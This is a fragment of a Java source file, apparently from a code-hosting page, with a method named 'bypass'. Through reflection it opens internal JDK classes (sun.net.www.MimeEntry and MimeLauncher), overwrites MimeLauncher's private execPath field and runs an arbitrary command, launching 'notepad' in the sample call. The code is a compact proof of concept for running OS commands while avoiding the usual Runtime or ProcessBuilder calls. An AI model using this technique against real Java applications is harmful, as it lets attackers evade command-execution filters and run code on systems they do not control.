(String cmd)
| 14 | bypass("notepad"); |
| 15 | } |
| 16 | public static void bypass(String cmd) throws Exception{ |
| 17 | Class aClass = Class.forName("sun.net.www.MimeEntry"); |
| 18 | Constructor d = aClass.getDeclaredConstructor(String.class,int.class,String.class,String.class); |
| 19 | d.setAccessible(true); |
| 20 | MimeEntry obj =(MimeEntry) d.newInstance("Firebasky", 1314, "C:\\windows\\win.ini", "%s"); |
| 21 | |
| 22 | URL url = new URL("http://127.0.0.1:8000"); |
| 23 | URLConnection urlConnection = url.openConnection(); |
| 24 | InputStream inputStream = urlConnection.getInputStream(); |
| 25 | |
| 26 | Class C = Class.forName("sun.net.www.MimeLauncher"); |
| 27 | Constructor declaredConstructor = C.getDeclaredConstructor(MimeEntry.class, URLConnection.class, InputStream.class, String.class, String.class); |
| 28 | declaredConstructor.setAccessible(true);; |
| 29 | Thread o = (Thread)declaredConstructor.newInstance(obj,urlConnection, inputStream, "", ""); |
| 30 | Field execPath = C.getDeclaredField("execPath"); |
| 31 | execPath.setAccessible(true); |
| 32 | execPath.set(o,cmd); |
| 33 | o.run(); |
| 34 | |
| 35 | } |
| 36 | } |
no test coverage detected